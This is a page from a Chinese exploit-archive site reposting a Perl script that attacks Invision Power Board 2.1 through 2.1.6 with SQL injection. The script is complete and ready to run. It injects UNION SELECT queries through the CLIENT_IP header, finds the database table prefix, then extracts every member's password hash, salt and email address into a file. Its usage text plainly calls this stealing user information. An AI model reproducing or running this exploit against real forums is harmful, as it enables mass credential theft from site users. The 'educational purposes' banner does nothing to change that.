首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Invision Power Board 2.1 <= 2.1.6 Remote SQL Injection Exploit (2)
来源:vfocus.net 作者:w4g.not 发布时间:2006-07-19  

#!/usr/bin/perl
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
&header();
if (@ARGV < 2) {&info(); exit();}
$server = $ARGV[0];
$dir = $ARGV[1];
print "[+] SERVER {$server}\r\n";
print "[+] DIR {$dir}\r\n";
#Step 1, detecting vulnerability
print "[1] Testing forum vulnerability...";
$q = "UNION SELECT 'VULN',1,1,1/*";
query($q,$server,$dir);
if($rep =~/VULN/){ print "forum vulnerable\r\n"; }
else
{
print "forum unvulnerable\r\n";
&footer();
exit();
}
#Step 2, detecting prefix
print "[2] Searching prefix...";
$q = "";
query($q,$server,$dir);
$prefix = $rep;
print $prefix."\r\n";
#Step 3, make query
print "[3] Performing query; it may take several minutes, plz, wait...\r\n";
$q1 = "UNION SELECT MAX(converge_id),1,1,1 FROM ".$prefix."members_converge/*";
query($q1,$server,$dir);
$kol = $rep;
open(RES,">".$server."_result.txt");
for($id = 1; $id <= $kol; $id++)
{
$own_query = "UNION SELECT converge_pass_hash,1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
query($own_query,$server,$dir);
if($rep=~/[0-9a-f]{32}/i)
{
$hash = $rep;
$own_query = "UNION SELECT converge_pass_salt,1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
query($own_query,$server,$dir);
if(length($rep)==5)
{
$salt = $rep;
$own_query = "UNION SELECT converge_email,1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
query($own_query,$server,$dir);
if(length($rep)>0)
{
$email = $rep;
print RES $id.":".$hash.":".$salt."::".$email."\n";
}
}
}
}
close(RES);
print "[!] Query was successfully perfomed. Results are in txt files\r\n";
&footer();
$ex = <STDIN>;
sub footer()
{
print "[G] Greets: 1dt.w0lf (rst/ghc)\r\n";
print "[L] Visit: secbun.info | damagelab.org | rst.void.ru\r\n";
}
sub header()
{
print q(
----------------------------------------------------------
* Invision Power Board 2.1.* Remote SQL Injecton Exploit *
* Based on r57-Advisory#41 by 1dt.w0lf (rst/ghc) *
* Coded by w4g.not null *
* FOR EDUCATIONAL PURPOSES *ONLY* *
----------------------------------------------------------
);
}
sub info()
{
print q(
[i] Usage: perl w4gipb216.pl [server] [/dir/]
where
|- server - server, where IPB installed without http://
|- /dir/ - dir, where IPB installed or / for no dir
e.g perl w4gipb216.pl someserver.com /forum/
[i] Stealing info about users (format id:pass:salt::email)
[!] Need MySQL > 4.0
);
}
sub query()
{
my($q,$server,$dir) = @_;
$res = $ua->get("http://".$server.$dir."index.php?s=w00t",'USER_AGENT'=>'','CLIENT_IP'=>"' ".$q);
if($res->is_success)
{
$rep = '';
if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
else
{
if($res->as_string =~ /FROM (.*)sessions/) { $rep = $1; }
}
}
return $rep;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·toendaCMS <= 1.0.0 (FCKedit
·Eskolar CMS 0.9.0.0 Remote Bli
·Webmin < 1.290 / Usermin &l
·Linux Kernel 2.6.13 <= 2.6.
·Rocks Clusters <= 4.1 (moun
·Dumb <= 0.9.3 (it_read_enve
·Rocks Clusters <= 4.1 (umou
·FileCOPA FTP Server <= 1.01
·Winlpd 1.2 Build 1076 Remote B
·Cisco/Protego CS-MARS < 4.2
·Linux Kernel <= 2.6.17.4 (/
·MS Internet Explorer 6 (Conten
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved